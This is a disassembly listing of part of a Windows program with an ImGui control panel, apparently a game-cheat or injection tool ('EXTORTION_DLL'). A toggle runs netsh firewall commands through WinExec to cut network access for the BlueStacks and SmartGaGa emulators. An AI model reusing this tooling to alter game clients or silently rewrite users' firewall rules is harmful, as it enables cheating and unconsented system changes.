movaps xmm0, xmm14
call fcn.1400177c0
mov rdx, qword [0x1401c6ae0]
mov rax, qword [rdx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rdx + 0x3f08]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm1, xmm10
addss xmm0, xmm12
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
movss xmm0, dword [r13 + 0x3814]
addss xmm0, xmm11
movss dword [rbp + 0x290], xmm0
movss xmm1, dword [r13 + 0x3818]
addss xmm1, xmm13
movss dword [rbp + 0x294], xmm1
lea r8, [rbp + 0x290]
lea rdx, str.PANEL_OPTIONS
lea rcx, [0x140161668]
call fcn.14000d160
lea rdx, [0x1401c6b09]
lea rcx, str.BLOCK_INTERNET
call fcn.140036f00
mov byte [0x1401c6b0c], al
test al, al
je 0x1400556a3
xor edx, edx
cmp byte [0x1401c6b09], dl
je 0x140055638
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Desactivado_Internet_
jmp 0x140055697
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.Activado_Internet_
lea rcx, [0x1401c5bb0]
call fcn.14003e090
lea rdx, [0x1401c6af9]
lea rcx, str.CLOSE_PANEL
call fcn.140036f00
test al, al
je 0x1400556c7
cmp byte [0x1401c6af9], 0
jne 0x140055bbc
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm0, xmm6
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], 1
call fcn.14000d280
call fcn.140017b60
movaps xmm1, xmm15
movaps xmm0, xmm14
call fcn.1400177c0
mov r14d, 1
mov ecx, r14d
call fcn.140004a80
mov rcx, qword [0x1401c6ae0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], r14b
mov rax, qword [rcx + 0x3f08]
movss xmm1, dword [rax + 0x20]
subss xmm1, dword [rax + 0x84]
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
movss xmm13, dword [0x140162434]
addss xmm1, xmm13
addss xmm0, dword [0x1401624a4]
movss dword [rax + 0x100], xmm1
movss dword [rax + 0x104], xmm0
mov byte [rax + 0x141], r14b
mov rax, qword [rcx + 0x3f08]
movsd xmm0, qword [rax + 0x20]
movsd qword [rbp + 0x748], xmm0
movsd xmm0, qword [rcx + 0x3e58]
mulsd xmm0, qword [0x1401623b8]
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
addsd xmm0, qword [0x1401623b0]
mulsd xmm0, qword [0x1401623a8]
xorps xmm3, xmm3
cvtsd2ss xmm3, xmm0
mov eax, dword [0x1401c6bc4]
cmp eax, r14d
jne 0x140055832
movss xmm0, dword [rbp + 0x748]
addss xmm0, xmm13
movss xmm1, dword [rbp + 0x74c]
addss xmm1, dword [0x14016244c]
movss dword [rbp + 0x450], xmm3
movss dword [rbp + 0x454], xmm3
movss dword [rbp + 0x458], xmm3
mov dword [rbp + 0x45c], 0x3f800000
unpcklps xmm0, xmm1
movq r8, xmm0
lea rdx, str.Aplicando...
lea rcx, [rbp + 0x450]
call fcn.1400343c0
jmp 0x1400558ac
cmp eax, 2
jne 0x140055882
movss dword [rbp + 0x460], xmm3
movss dword [rbp + 0x464], xmm3
movss dword [rbp + 0x468], xmm3
mov dword [rbp + 0x46c], 0x3f800000
movaps xmm0, xmm13
movss xmm1, dword [0x14016244c]
unpcklps xmm0, xmm1
movq r8, xmm0
lea rdx, str.Error_al_aplicar
lea rcx, [rbp + 0x460]
call fcn.1400343c0
jmp 0x1400558ac
cmp eax, 3
jne 0x1400558ac
movss dword [rsp + 0x20], xmm8
movaps xmm2, xmm3
movaps xmm1, xmm3
lea rcx, [rbp - 0x38]
call fcn.14004a0b0
mov rcx, rax
lea rdx, str.Aplicado_con_exito_
call fcn.1400343c0
call fcn.1400129f0
movss xmm12, dword [0x140162418]
call fcn.14000b3b0
mov dword [rbp + 0x470], 0
movss dword [rbp + 0x474], xmm14
movss dword [rbp + 0x478], xmm14
movss dword [rbp + 0x47c], xmm14
mov rcx, qword [0x1401fc920]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401fc8e8]
mov edx, r14d
call qword [rax + 0x108]
mov rcx, qword [0x1401fc920]
mov rax, qword [rcx]
lea r8, [rbp + 0x470]
mov rdx, qword [0x1401fc8e8]
call qword [rax + 0x190]
mov rsi, qword [0x1401c6ae0]
cmp dword [rsi + 0x48f8], 0
jg 0x140055949
mov r8d, 0x732
lea rdx, str.C:UsersAdminDesktopEXTORTION_DLLimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rsi + 0x4900]
mov rcx, qword [rax]
add rcx, 0x48
xor r13d, r13d
mov eax, r13d
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.14003f0b0
mov rcx, qword [0x1401fc8f0]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r14d
call qword [rax + 0x40]
mov esi, dword [rbp + 0x740]
mov r15, qword [rbp + 0x298]
jmp 0x140051540
call fcn.1400401f0
call fcn.140040510
call fcn.140006430
call fcn.140055c20
mov rcx, qword [0x1401c6b10]
call qword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x140050bf6
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xc8], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, r14d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xe8], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp + 0x488], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xf8], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x108], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x118], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x128], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x138], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x148], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp + 0x498], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0xb8], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, r15d
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x158], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp + 0xd8], r14d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov dword [0x1401c5b8c], 0x7ffffffe
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
call fcn.140032170
nop
call fcn.140032170
nop
call fcn.14000bcb0
int3
call fcn.140032170
nop
call fcn.14000bcb0
int3
call fcn.140032170
int3